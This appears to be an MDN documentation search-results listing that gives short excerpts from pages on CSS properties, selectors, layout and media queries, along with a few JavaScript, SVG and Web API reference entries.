... you can try it below: notice how the required text inputs are invalid when empty, but valid when they have something filled in.
...And 6 more matches
Spanning and Balancing Columns - CSS: Cascading Style Sheets
spanning the columns to cause an item to span across columns use the property column-span with a value of all.
... this will cause the element to span all of the columns.
... limitations of column-span in the current level 1 specification there are only two allowable values for column-span.
...And 6 more matches
Introduction to formatting contexts - CSS: Cascading Style Sheets
the basics of how they behave and how you can make use of these behaviors are also introduced.
... creating a new block formatting context the <html> element is not the only element capable of creating a block formatting context.
... any block-level element can be made to create a bfc by the application of certain css properties.
...And 6 more matches
Using CSS counters - CSS: Cascading Style Sheets
css counters let you adjust the appearance of content based on its location in a document.
... for example, you can use counters to automatically number the headings in a webpage.
...the same property can also be used to change its value to any specific number.
...And 6 more matches
Layout and the containing block - CSS: Cascading Style Sheets
most often, the containing block is the content area of an element's nearest block-level ancestor, but this is not always the case.
... if the position property is fixed, the containing block is established by the viewport (in the case of continuous media) or the page area (in the case of paged media).
...contain: paint;) note: the containing block in which the root element (<html>) resides is a rectangle called the initial containing block.
...And 6 more matches
Media queries - CSS: Cascading Style Sheets
for example, a media query can shrink the font size on small devices, increase the padding between paragraphs when a page is viewed in portrait mode, or bump up the size of buttons on touchscreens.
... media queries in html in html, media queries can be applied to various elements: in the <link> element's media attribute, they define the media to which a linked resource (typically css) should be applied.
... media queries in javascript in javascript, you can use the window.matchmedia() method to test the window against a media query.
...And 6 more matches
Pseudo-classes - CSS: Cascading Style Sheets
for example, :hover can be used to change a button's color when the user's pointer hovers over it.
... note: in contrast to pseudo-classes, pseudo-elements can be used to style a specific part of an element.
... syntax selector:pseudo-class { property: value; } like regular classes, you can chain together as many pseudo-classes as you want in a selector.
...And 6 more matches
Replaced elements - CSS: Cascading Style Sheets
the position of the replaced element can be affected using css, but not the contents of the replaced element itself.
... the only other impact css can have on a replaced element is that there are properties which support controlling the positioning of the element's content within its box.
... replaced elements typical replaced elements are: <iframe> <video> <embed> <img> some elements are treated as replaced elements only in specific cases: <option> <audio> <canvas> <object> <applet> html spec also says that an <input> element can be replaced, because <input> elements of the "image" type are replaced elements similar to <img>.
...And 6 more matches
WebKit CSS extensions - CSS: Cascading Style Sheets
applications based on webkit or blink, such as safari and chrome, support a number of special webkit extensions to css.
...these properties will only work in webkit applications.
...r-before** -webkit-border-before-color** -webkit-border-before-style** -webkit-border-before-width** -webkit-border-end** -webkit-border-end-color** -webkit-border-end-style** -webkit-border-end-width** -webkit-border-fit -webkit-border-horizontal-spacing -webkit-border-start** -webkit-border-start-color** -webkit-border-start-style** -webkit-border-start-width** -webkit-border-vertical-spacing -webkit-box-align** -webkit-box-direction** -webkit-box-flex-group** -webkit-box-flex** -webkit-box-lines** -webkit-box-ordinal-group** -webkit-box-orient** -webkit-box-pack** -webkit-box-reflect** c -webkit-column-axis -webkit-column-break-after -webkit-column-break-before -webkit-column-break-inside -webkit-column-progression -webkit-cursor-visibility d-i -webki...
...And 6 more matches
all - CSS: Cascading Style Sheets
WebCSSall
it can set properties to their initial or inherited values, or to the values specified in another stylesheet origin.
... syntax /* global values */ all: initial; all: inherit; all: unset; /* css cascading and inheritance level 4 */ all: revert; the all property is specified as one of the css global keyword values.
... user origin rolls back the cascade to the user-agent level, so that the specified values are calculated as if no author-level or user-level rules were specified for the element.
...And 6 more matches
animation - CSS: Cascading Style Sheets
WebCSSanimation
ion | fill-mode | play-state | name */ animation: 3s ease-in 1s 2 reverse both paused slidein; /* @keyframes name | duration | timing-function | delay */ animation: 3s linear 1s slidein; /* @keyframes name | duration */ animation: slidein 3s; <div class="grid"> <div class="col"> <div class="note"> given the following animation: <pre>@keyframes slidein { from { transform: scalex(0); } to { transform: scalex(1); } }</pre> </div> <div class="row"> <div class="cell"> <button class="play" title="play"></button> </div> <div class="cell flx"> <div class="overlay">animation: 3s ease-in 1s 2 reverse both paused slidein;</div> <div class="animation a1"></div> </div> </div> <div class="row"> <div class="c...
...x; flex: 1 auto; flex-direction: column; } .cell { box-sizing: border-box; margin: .5em; padding: 0; background-color: #fff; overflow: hidden; text-align: left; } .flx { flex: 1 0; } .note { background: #fff3d4; padding: 1em; margin: .5em; font: .8em sans-serif; text-align: left; flex: none; } .overlay { padding: .5em; } @keyframes slidein { from { transform: scalex(0); } to { transform: scalex(1); } } .a1 { animation: 3s ease-in 1s 2 reverse both paused slidein; } .a2 { animation: 3s linear 1s slidein; } .a3 { animation: 3s slidein; } .animation { background: #3f87a6; width: 100%; height: calc(100% - 1.5em); transform-origin: left center; } window.addeventlistener('load', function () { var animation = array.from(document.queryselectorall('...
....animation')); var button = array.from(document.queryselectorall('button')); function togglebutton (btn, type) { btn.classlist.remove('play', 'pause', 'restart'); btn.classlist.add(type); btn.title = type.touppercase(type); } function playpause (i) { var btn = button[i]; var anim = animation[i]; if (btn.classlist.contains('play')) { anim.style.animationplaystate = 'running'; togglebutton(btn, 'pause'); } else if (btn.classlist.contains('pause')) { anim.style.animationplaystate = 'paused'; togglebutton(btn, 'play'); } else { anim.classlist.remove('a' + (i + 1)); settimeout(function () { togglebutton(btn, i === 0 ?
...And 6 more matches
border-bottom-left-radius - CSS: Cascading Style Sheets
the rounding can be a circle or an ellipse, or if one of the value is 0 no rounding is done and the corner is square.
... a background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the background-clip property.
... syntax /* the corner is a circle */ /* border-bottom-left-radius: radius */ border-bottom-left-radius: 3px; /* percentage values */ /* circle if box is a square or ellipse if box is a rectangle */ border-bottom-left-radius: 20%; /* same as above: 20% of horizontal(width) and vertical(height) */ border-bottom-left-radius: 20% 20%; /* 20% of horizontal(width) and 10% of vertical(height) */ border-bottom-left-radius: 20% 10%; /* the corner is an ellipse */ /* border-bottom-left-radius: horizontal vertical */ border-bottom-left-radius: 0.5em 1em; border-bottom-left-radius: inherit; with one value: the value is a <length> or a <percentage> denoting the radius of the circle...
...And 6 more matches
border-bottom-right-radius - CSS: Cascading Style Sheets
the rounding can be a circle or an ellipse, or if one of the value is 0 no rounding is done and the corner is square.
... a background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the background-clip property.
... syntax /* the corner is a circle */ /* border-bottom-right-radius: radius */ border-bottom-right-radius: 3px; /* percentage values */ border-bottom-right-radius: 20%; /* corner of a circle if box is a square or else corner of a rectangle */ border-bottom-right-radius: 20% 20%; /* same as above */ /* 20% of horizontal(width) and vertical(height) */ border-bottom-right-radius: 20% 10%; /* 20% of horizontal(width) and 10% of vertical(height) */ /*the corner is an ellipse */ /* border-bottom-right-radius: horizontal vertical */ border-bottom-right-radius: 0.5em 1em; border-bottom-right-radius: inherit; with one value: the value is a <length> or a <percentage> denoting the radius of the circle to use for the border in that cor...
...And 6 more matches
border-color - CSS: Cascading Style Sheets
each side can be set individually using border-top-color, border-right-color, border-bottom-color, and border-left-color; or using the writing mode-aware border-block-start-color, border-block-end-color, border-inline-start-color, and border-inline-end-color.
... you can find more information about border colors in borders in applying color to html elements using css.
... constituent properties this property is a shorthand for the following css properties: border-bottom-color border-left-color border-right-color border-top-color syntax /* <color> values */ border-color: red; /* horizontal | vertical */ border-color: red #f015ca; /* top | vertical | bottom */ border-color: red rgb(240,30,50,.7) green; /* top | right | bottom | left */ border-color: red yellow green blue; /* global values */ border-color: inherit; border-color: initial; border-color: unset; the border-color property may be specified using one, two, three, or four values.
...And 6 more matches
border-image - CSS: Cascading Style Sheets
note: you should specify a separate border-style in case the border image fails to load.
... indeed, this is required according to the specification, although not all browsers implement this requirement.
... note: if the computed value of border-image-source is none, or if the image cannot be displayed, the border-style will be displayed instead.
...And 6 more matches
border-top-left-radius - CSS: Cascading Style Sheets
the rounding can be a circle or an ellipse, or if one of the value is 0,no rounding is done and the corner is square.
... a background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the background-clip property.
... syntax /* the corner is a circle */ /* border-top-left-radius: radius */ border-top-left-radius: 3px; /* the corner is an ellipse */ /* border-top-left-radius: horizontal vertical */ border-top-left-radius: 0.5em 1em; border-top-left-radius: inherit; with one value: the value is a <length> or a <percentage> denoting the radius of the circle to use for the border in that corner.
...And 6 more matches
border-top-right-radius - CSS: Cascading Style Sheets
the rounding can be a circle or an ellipse, or if one of the value is 0 no rounding is done and the corner is square.
... a background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the background-clip property.
... syntax /* the corner is a circle */ /* border-top-right-radius: radius */ border-top-right-radius: 3px; /* the corner is an ellipse */ /* border-top-right-radius: horizontal vertical */ border-top-right-radius: 0.5em 1em; border-top-right-radius: inherit; with one value: the value is a <length> or a <percentage> denoting the radius of the circle to use for the border in that corner.
...And 6 more matches
box-decoration-break - CSS: Cascading Style Sheets
values slice the element is initially rendered as if its box were not fragmented, after which the rendering for this hypothetical box is sliced into pieces for each line/column/page.
... note that the hypothetical box can be different for each fragment since it uses its own height if the break occurs in the inline direction, and its own width if the break occurs in the block direction.
... see the css specification for details.
...And 6 more matches
font-style - CSS: Cascading Style Sheets
syntax font-style: normal; font-style: italic; font-style: oblique; font-style: oblique 10deg; /* global values */ font-style: inherit; font-style: initial; font-style: unset; the font-style property is specified as a single keyword chosen from the list of values below, which can optionally include an angle if the keyword is oblique.
... variable fonts variable fonts can offer a fine control over the degree to which an oblique face is slanted.
... you can select this using the <angle> modifier for the oblique keyword.
...And 6 more matches
grid-template-columns - CSS: Cascading Style Sheets
e-columns: [linename1] 100px [linename2] repeat(auto-fit, [linename3 linename4] 300px) 100px; grid-template-columns: [linename1 linename2] 100px repeat(auto-fit, [linename1] 300px) [linename3]; /* global values */ grid-template-columns: inherit; grid-template-columns: initial; grid-template-columns: unset; values none indicates that there is no explicit grid.
... auto is a keyword that is identical to maximal content if it's a maximum.
... note: auto track sizes (and only auto track sizes) can be stretched by the align-content and justify-content properties.
...And 6 more matches
mask-repeat - CSS: Cascading Style Sheets
a mask image can be repeated along the horizontal axis, the vertical axis, both axes, or not repeated at all.
... /* one-value syntax */ mask-repeat: repeat-x; mask-repeat: repeat-y; mask-repeat: repeat; mask-repeat: space; mask-repeat: round; mask-repeat: no-repeat; /* two-value syntax: horizontal | vertical */ mask-repeat: repeat space; mask-repeat: repeat repeat; mask-repeat: round space; mask-repeat: no-repeat round; /* multiple values */ mask-repeat: space round, no-repeat; mask-repeat: round repeat, space, repeat-x; /* global values */ mask-repeat: inherit; mask-repeat: initial; mask-repeat: unset; by default, the repeated images are clipped to the size of the element, but they can be scaled to fit (using round) or evenly distributed from end to end (using space).
...e two-value equivalent repeat-x repeat no-repeat repeat-y no-repeat repeat repeat repeat repeat space space space round round round no-repeat no-repeat no-repeat in the two-value syntax, the first value represents the horizontal repetition behavior and the second value represents the vertical behavior.
...And 6 more matches
offset-path - CSS: Cascading Style Sheets
description this property defines a path an animated element can follow.
... early versions of the spec called this property motion-path.
... it was changed to offset-path because the property describes static positions, not motion.
...And 6 more matches
Guide to scroll anchoring - CSS: Cascading Style Sheets
this has happened because large images or some other elements have just loaded further up in the content.
...in most cases anchored scrolling is exactly what you want — content jumping is a poor experience for anyone.
... if your page is not behaving well with scroll anchoring enabled, it is probably because some scroll event listener is not handling well the extra scrolling to compensate for the anchor node movement.
...And 6 more matches
repeating-radial-gradient() - CSS: Cascading Style Sheets
thus, the position of each ending color stop coincides with a starting color stop; if the color values are different, this will result in a sharp visual transition, which can be mitigated by repeating the first color as the last color.
... because <gradient>s belong to the <image> data type, they can only be used where <image>s can be used.
... syntax /* a gradient at the center of its container, starting red, changing to blue, and finishing green, with the colors repeating every 30px */ repeating-radial-gradient(circle at center, red 0, blue, green 30px); /* an elliptical gradient near the top left of its container, starting red, changing to green and back again, repeating five times between the center and the bottom right corner, and only once between the center and the top left corner */ repeating-radial-gradient(farthest-corner at 20% 20%, red 0, green, red 20%); values <position> the position of the gradient, interpreted in the same way as background-position or transform-ori...
...And 6 more matches
transition-timing-function - CSS: Cascading Style Sheets
the transition-timing-function css property sets how intermediate values are calculated for css properties being affected by a transition effect.
... this, in essence, lets you establish an acceleration curve so that the speed of the transition can vary over its duration.
...if there are fewer timing functions specified than in the transition-property list, the user agent must calculate which value is used by repeating the list of values until there is one for each transition property.
...And 6 more matches
<url> - CSS: Cascading Style Sheets
WebCSSurl
urls can be used in numerous css properties, such as background-image, cursor, and list-style.
...a url is a type of uri, and describes the location of a resource.
... a uri can be either a url or a name (urn) of a resource.
...And 6 more matches
visibility - CSS: Cascading Style Sheets
the property can also hide rows or columns in a <table>.
...the element cannot receive focus (such as when navigating through tab indexes).
...however, the size of other rows and columns is still calculated as though the cells in the collapsed row(s) or column(s) are present.
...And 6 more matches
SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //# instead - JavaScript
the javascript warning "using //@ to indicate sourceurl pragmas is deprecated.
... use //# instead" occurs when there is a deprecated source map syntax in a javascript source.
... message warning: syntaxerror: using //@ to indicate sourceurl pragmas is deprecated.
...And 6 more matches
glyph-orientation-vertical - SVG: Scalable Vector Graphics
the glyph-orientation-vertical attribute affects the amount that hte current text position advances as each glyph is rendered.
... when the inline-progression-direction is vertical and the glyph-orientation-vertical results in an orientation angle that is a multiple of 180 degrees, then the current text position is incremented according to the vertical metrics of the glyph.
... this attribute is applied only to text written in a vertical writing-mode.
...And 6 more matches
JS::SetLargeAllocationFailureCallback
this article covers features introduced in spidermonkey 31 specify a new callback function for large memory allocation failure.
... syntax void js::setlargeallocationfailurecallback(jsruntime *rt, js::largeallocationfailurecallback afc, void *data); name type description rt jsruntime * the jsruntime for which to set the gc callback.
... cb js::largeallocationfailurecallback pointer to the new callback function to use.
...And 5 more matches
BasicCardResponse.cardNumber - Web APIs
the cardnumber property of the basiccardresponse dictionary contains the number of the card used to make the payment.
... syntax "cardnumber" : "number" value a domstring representing the credit card number.
... example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow.
...And 5 more matches
BasicCardResponse.cardSecurityCode - Web APIs
the cardsecuritycode property of the basiccardresponse dictionary contains the security code of the card used to make the payment.
... syntax "cardsecuritycode" : "number" value a domstring representing the card security code.
... example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow.
...And 5 more matches
BasicCardResponse.cardholderName - Web APIs
the cardnumber property of the basiccardresponse dictionary contains the cardholder name of the card used to make the payment.
... syntax name = basiccardresponse.cardholdername; value a domstring indicating the name of the cardholder.
... example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow.
...And 5 more matches
RTCIceCandidateStats.candidateType - Web APIs
the rtcicecandidatestats interface's candidatetype property is a string which indicates the type of ice candidate the object represents.
... syntax candidatetype = rtcicecandidatestats.candidatetype; value a domstring whose value is one of the strings found in the rtcicecandidatetype enumerated type:host the candidate is a host candidate, whose ip address as specified in the rtcicecandidate.ip property is in fact the true address of the remote peer.
... srflx the candidate is a server reflexive candidate; the ip indicates an intermediary address assigned by the stun server to represent the candidate's peer anonymously.
...And 5 more matches
::before (:before) - CSS: Cascading Style Sheets
WebCSS::before
html <q>some quotes,</q> he said, <q>are better than none.</q> css q::before { content: "«"; color: blue; } q::after { content: "»"; color: red; } result decorative example we can style text or images in the content property almost any way we want.
...this method can often be used to add small touches to the ui and improve user experience.
... result special characters as this is css; not html, you can not use markup entities in content values.
...And 5 more matches
:empty - CSS: Cascading Style Sheets
WebCSS:empty
children can be either element nodes or text (including whitespace).
...--></div> <div class="box">i will be pink.</div> <div class="box"> <!-- i will be pink in older browsers because of the whitespace around this comment.
... --> </div> <div class="box"> <p><!-- i will be pink in all browsers because of the non-collapsible whitespace and elements around this comment.
...And 5 more matches
:focus - CSS: Cascading Style Sheets
WebCSS:focus
syntax :focus examples html <input class="red-input" value="i'll be red when focused."><br> <input class="blue-input" value="i'll be blue when focused."> css .red-input:focus { background: yellow; color: red; } .blue-input:focus { background: yellow; color: blue; } result accessibility concerns make sure the visual focus indicator can be seen by people with low vision.
...wcag 2.1 sc 1.4.11 non-text contrast requires that the visual focus indicator be at least 3 to 1.
... accessible visual focus indicators: give your site some focus!
...And 5 more matches
:invalid - CSS: Cascading Style Sheets
WebCSS:invalid
x; padding: 1px; } input:invalid { background-color: #ffdddd; } form:invalid { border: 5px solid #ffdddd; } input:valid { background-color: #ddffdd; } form:valid { border: 5px solid #ddffdd; } input:required { border-color: #800000; border-width: 3px; } input:required:invalid { border-color: #c00000; } result accessibility concerns the color red is commonly used to indicate invalid input.
... people who have certain types of color blindness will be unable to determine the input's state unless it is accompanied by an additional indicator that does not rely on color to convey meaning.
... typically, descriptive text and/or an icon are used.
...And 5 more matches
:is() (:matches(), :any()) - CSS: Cascading Style Sheets
WebCSS:is
the :is() css pseudo-class function takes a selector list as its argument, and selects any element that can be selected by one of the selectors in that list.
...ph inside a header, main or footer element that is being hovered */ :is(header, main, footer) p:hover { color: red; cursor: pointer; } /* the above is equivalent to the following */ header p:hover, main p:hover, footer p:hover { color: red; cursor: pointer; } /* backwards-compatible version with :-*-any() and :matches() (it is not possible to group selectors into single rule, because presence of invalid selector would invalidate whole rule.) */ :-webkit-any(header, main, footer) p:hover { color: red; cursor: pointer; } :-moz-any(header, main, footer) p:hover { color: red; cursor: pointer; } :matches(header, main, footer) p:hover { color: red; cursor: pointer; } syntax :is( <complex-selector-list> )where <complex-selector-list> = <complex-selector>#where <com...
...y(header, main, footer) p:hover { color: red; cursor: pointer; } :-moz-any(header, main, footer) p:hover { color: red; cursor: pointer; } :matches(header, main, footer) p:hover { color: red; cursor: pointer; } :is(header, main, footer) p:hover { color: red; cursor: pointer; } let matcheditems; try { matcheditems = document.queryselectorall(':is(header, main, footer) p'); } catch(e) { try { matcheditems = document.queryselectorall(':matches(header, main, footer) p'); } catch(e) { try { matcheditems = document.queryselectorall(':-webkit-any(header, main, footer) p'); } catch(e) { try { matcheditems = document.queryselectorall(':-moz-any(header, main, footer) p'); } catch(e) { console.log('your browser doesn\'t support :i...
...And 5 more matches
system - CSS: Cascading Style Sheets
this system is useful in cases where the counter values are finite.
...also an optional <integer> can be specified after the the system, as the value of the first symbol.
...the value of a number in such a system can be found out by adding the digits in the number.
...And 5 more matches
font-stretch - CSS: Cascading Style Sheets
for a particular font family, authors can download various font faces which correspond to the different styles of the same font family, and then use the font-stretch descriptor to explicitly specify the font face's stretch.
... in earlier versions of the font-stretch specification, the property accepts only the nine keyword values.
...however some fonts, called variable fonts, can support a range of stretching with more or less fine granularity, and this can give the designer a much closer degree of control over the chosen weight.
...And 5 more matches
display-mode - CSS: Cascading Style Sheets
the display-mode css media feature can be used to test the display mode of an application.
... you can use it to provide a consistent user experience between launching a site from a url and launching it from a desktop icon.
... standalone standalone the application will look and feel like a standalone application.
...And 5 more matches
@page - CSS: Cascading Style Sheets
WebCSS@page
in the general case, where one page box is rendered onto one page sheet, it also indicates the size of the destination page sheet.
... description you can't change all css properties with @page.
... you can only change the margins, orphans, widows, and page breaks of the document.
...And 5 more matches
Box alignment for block, absolutely positioned and table layout - CSS: Cascading Style Sheets
the box alignment specification details how alignment works in various layout methods.
...this document details how the specification expects these properties to be implemented for completeness, and is likely to change as the specification and browser implementations develop.
...the normal keyword resolves to stretch, unless the positioned item is a replaced element, in which case it resolves to start.
...And 5 more matches
Box alignment in Flexbox - CSS: Cascading Style Sheets
the box alignment specification details how alignment works in various layout methods; on this page, we explore how box alignment works in the context of flexbox.
... however, in flexbox you can change the main axis by setting flex-direction to column.
... in this case, justify-content will align items in the block direction.
...And 5 more matches
Handling content breaks in multicol - CSS: Cascading Style Sheets
in both contexts we control where and how things break by using properties of the css fragmentation specification.
... fragmentation basics the css fragmentation specification details how content breaks between the fragmentation containers, or fragmentainers.
... a column box can contain other markup and there are many places where a break would not be ideal.
...And 5 more matches
CSS Flexible Box Layout - CSS: Cascading Style Sheets
in the flex layout model, the children of a flex container can be laid out in any direction, and can “flex” their sizes, either growing to fill unused space or shrinking to avoid overflowing the parent.
... both horizontal and vertical alignment of the children can be easily manipulated.
...you can also see that the items are stretching on the cross axis, due to the default value of align-items being stretch.
...And 5 more matches
Recipe: Media objects - CSS: Cascading Style Sheets
the image can be on the left or right.
... media objects can be nested.
...this means that when we have a footer, with short content above, the footer can be pushed down to the bottom of the media object.
...And 5 more matches
attr() - CSS: Cascading Style Sheets
WebCSSattr
note: the attr() function can be used with any css property, but support for properties other than content is experimental, and support for the type-or-unit parameter is sparse.
...it can also be used on pseudo-elements, in which case the value of the attribute on the pseudo-element's originating element is returned.
...it is not reparsed, and in particular the characters are used as-is instead of css escapes being turned into different characters.
...And 5 more matches
border-bottom - CSS: Cascading Style Sheets
as with all shorthand properties, border-bottom always sets the values of all of the properties that it can set, even if they are not specified.
... constituent properties this property is a shorthand for the following css properties: border-bottom-color border-bottom-style border-bottom-width syntax border-bottom: 1px; border-bottom: 2px dotted; border-bottom: medium dashed blue; the three values of the shorthand property can be specified in any order, and one or two of them may be omitted.
...rthand:border-bottom-color: a colorborder-bottom-style: discreteborder-bottom-width: a length formal syntax <line-width> | <line-style> | <color>where <line-width> = <length> | thin | medium | thick<line-style> = none | hidden | dotted | dashed | solid | double | groove | ridge | inset | outset<color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...And 5 more matches
border-left - CSS: Cascading Style Sheets
as with all shorthand properties, border-left always sets the values of all of the properties that it can set, even if they are not specified.
... constituent properties this property is a shorthand for the following css properties: border-left-color border-left-style border-left-width syntax border-left: 1px; border-left: 2px dotted; border-left: medium dashed green; the three values of the shorthand property can be specified in any order, and one or two of them may be omitted.
...he shorthand:border-left-color: a colorborder-left-style: discreteborder-left-width: a length formal syntax <line-width> | <line-style> | <color>where <line-width> = <length> | thin | medium | thick<line-style> = none | hidden | dotted | dashed | solid | double | groove | ridge | inset | outset<color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...And 5 more matches
border-right - CSS: Cascading Style Sheets
as with all shorthand properties, border-right always sets the values of all of the properties that it can set, even if they are not specified.
... constituent properties this property is a shorthand for the following css properties: border-right-color border-right-style border-right-width syntax border-right: 1px; border-right: 2px dotted; border-right: medium dashed green; the three values of the shorthand property can be specified in any order, and one or two of them may be omitted.
...shorthand:border-right-color: a colorborder-right-style: discreteborder-right-width: a length formal syntax <line-width> | <line-style> | <color>where <line-width> = <length> | thin | medium | thick<line-style> = none | hidden | dotted | dashed | solid | double | groove | ridge | inset | outset<color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...And 5 more matches
border-top - CSS: Cascading Style Sheets
as with all shorthand properties, border-top always sets the values of all of the properties that it can set, even if they are not specified.
... constituent properties this property is a shorthand for the following css properties: border-top-color border-top-style border-top-width syntax border-top: 1px; border-top: 2px dotted; border-top: medium dashed green; the three values of the shorthand property can be specified in any order, and one or two of them may be omitted.
...f the shorthand:border-top-color: a colorborder-top-style: discreteborder-top-width: a length formal syntax <line-width> | <line-style> | <color>where <line-width> = <length> | thin | medium | thick<line-style> = none | hidden | dotted | dashed | solid | double | groove | ridge | inset | outset<color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...And 5 more matches
box-shadow - CSS: Cascading Style Sheets
you can set multiple effects separated by commas.
... the box-shadow property enables you to cast a drop shadow from the frame of almost any element.
...<offset-y> specifies the vertical distance.
...And 5 more matches
env() - CSS: Cascading Style Sheets
WebCSSenv
the env() css function can be used to insert the value of a user agent-defined environment variable into your css, in a similar fashion to the var() function and custom properties.
... the whole available space on the screen, and so enabling us to use the env() variables, we need to add a new viewport meta value: <meta name="viewport" content="viewport-fit=cover" /> body { padding: env(safe-area-inset-top, 20px) env(safe-area-inset-right, 20px) env(safe-area-inset-bottom, 20px) env(safe-area-inset-left, 20px); } in addition, unlike custom properties, which cannot be used outside of declarations, the env() function can be used in place of any part of a property value, or any part of a descriptor (e.g.
... originally provided by the ios browser to allow developers to place their content in a safe area of the viewport, the safe-area-inset-* values defined in the specification can be used to help ensure content is visible even to viewers using non‑rectangular displays.
...And 5 more matches
font-size-adjust - CSS: Cascading Style Sheets
the font-size-adjust css property sets the size of lower-case letters relative to the current font size (which defines the size of upper-case letters).
... /* use the specified font size */ font-size-adjust: none; /* use a font size that makes lowercase letters half the specified font size */ font-size-adjust: 0.5; /* global values */ font-size-adjust: inherit; font-size-adjust: initial; font-size-adjust: unset; the property is useful since the legibility of fonts, especially at small sizes, is determined more by the size of lowercase letters than by the size of capital letters.
... legibility can become an issue when the first-choice font-family is unavailable and its replacement has a significantly different aspect ratio (the ratio of the size of lowercase letters to the size of the font).
...And 5 more matches
<frequency-percentage> - CSS: Cascading Style Sheets
the <frequency-percentage> css data type represents a value that can be either a <frequency> or a <percentage>.
... description use in calc() where a <frequency-percentage> is specified as an allowable type, this means that the percentage resolves to a frequency and therefore can be used in a calc() expression.
... examples valid percentage values 90% positive percentage +90% positive percentage with leading + -90% negative percentage — not valid for all properties that use percentages invalid percentage values 90 % no space is allowed between the number and the unit valid frequency values 12hz positive integer 4.3hz non-integer 14khz the unit is case-insensitive, though non-si capitalization is not recommended.
...And 5 more matches
grid-column - CSS: Cascading Style Sheets
the grid-column css shorthand property specifies a grid item's size and location within a grid column by contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the inline-start and inline-end edge of its grid area.
... each <grid-line> value can be specified as: either the auto keyword or a <custom-ident> value or an <integer> value or both <custom-ident> and <integer>, separated by a space or the keyword span together with either a <custom-ident> or an <integer> or both.
... values auto is a keyword indicating that the property contributes nothing to the grid item’s placement, indicating auto-placement, an automatic span, or a default span of 1.
...And 5 more matches
grid-template-rows - CSS: Cascading Style Sheets
auto is a keyword that is identical to maximal content if it's a maximum.
... note: auto track sizes (and only auto track sizes) can be stretched by the align-content and justify-content properties.
... fit-content( [ <length> | <percentage> ] ) represents the formula min(max-content, max(auto, argument)), which is calculated similar to auto (i.e.
...And 5 more matches
height - CSS: Cascading Style Sheets
WebCSSheight
auto the browser will calculate and select a height for the specified element.
... accessibility concerns ensure that elements set with a height are not truncated and/or do not obscure other content when the page is zoomed to increase text size.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | w3c understanding wcag 2.0 formal definition initial valueautoapplies toall elements but non-replaced inline elements, table columns, and column groupsinheritednopercentagesthe percentage is calculated with respect to the height of the generated box's containing block.
...And 5 more matches
ident - CSS: Cascading Style Sheets
WebCSSident
syntax the syntax of <custom-ident> is similar to css identifiers (such as property names), except that it is case-sensitive.
... it consists of one or more characters, where characters can be any of the following: any alphabetical character (a to z, or a to z), any decimal digit (0 to 9), a hyphen (-), an underscore (_), an escaped character (preceded by a backslash, \), a unicode character (in the format of a backslash, \, followed by one to six hexadecimal digits, representing its unicode code point) note that id1, id1, id1 and id1 are all different identifiers as they are case-sensitive.
... on the other hand, as there are several ways to escape a character, toto\?
...And 5 more matches
inherit - CSS: Cascading Style Sheets
WebCSSinherit
the inherit css keyword causes the element for which it is specified to take the computed value of the property from its parent element.
... it can be applied to any css property, including the css shorthand all.
...for non-inherited properties, this specifies a behavior that typically makes relatively little sense and you may consider using initial instead, or unset on the all property.
...And 5 more matches
letter-spacing - CSS: Cascading Style Sheets
positive values of letter-spacing causes characters to spread farther apart, while negative values of letter-spacing bring characters closer together.
... legible letter-spacing must be determined on a case-by-case basis, as different font families have different character widths.
... there is no one value that can ensure all font families automatically maintain their legibility.
...And 5 more matches
line-height - CSS: Cascading Style Sheets
on non-replaced inline elements, it specifies the height that is used to calculate line box height.
...in most cases, this is the preferred way to set line-height and avoid unexpected results due to inheritance.
... <length> the specified <length> is used in the calculation of the line box height.
...And 5 more matches
margin - CSS: Cascading Style Sheets
WebCSSmargin
syntax /* apply to all four sides */ margin: 1em; margin: -3px; /* vertical | horizontal */ margin: 5% auto; /* top | horizontal | bottom */ margin: 1em auto 2em; /* top | right | bottom | left */ margin: 2px 1em 0 auto; /* global values */ margin: inherit; margin: initial; margin: unset; the margin property may be specified using one, two, three, or four values.
...for example, in certain cases this value can be used to center an element.
... */ /* left: 5px margin */ margin: 2em auto; /* top and bottom: 2em margin */ /* box is horizontally centered */ margin: auto; /* top and bottom: 0 margin */ /* box is horizontally centered */ notes horizontal centering to center something horizontally in modern browsers, you can use display: flex; justify-content: center; .
...And 5 more matches
object-fit - CSS: Cascading Style Sheets
you can alter the alignment of the replaced element's content object within the element's box using the object-position property.
... values contain the replaced content is scaled to maintain its aspect ratio while fitting within the element’s content box.
... scale-down the content is sized as if none or contain were specified, whichever would result in a smaller concrete object size.
...And 5 more matches
<percentage> - CSS: Cascading Style Sheets
numerous properties can use percentages, such as width, height, margin, padding, and font-size.
... note: only calculated values can be inherited.
...rgin: 20% </div> <div style="width:30%; margin-left:60%; background-color:pink;"> width: 30%, left margin: 60% </div> </div> the above html will output: font-size <div style="font-size:18px;"> <p>full-size text (18px)</p> <p><span style="font-size:50%;">50% (9px)</span></p> <p><span style="font-size:200%;">200% (36px)</span></p> </div> the above html will output: specifications specification status comment css values and units module level 4the definition of '<percentage>' in that specification.
...And 5 more matches
text-orientation - CSS: Cascading Style Sheets
it only affects text in vertical mode (when writing-mode is not horizontal-tb).
... it is useful for controlling the display of languages that use vertical script, and also for making vertical table headers.
...lays out the characters of vertical scripts naturally.
...And 5 more matches
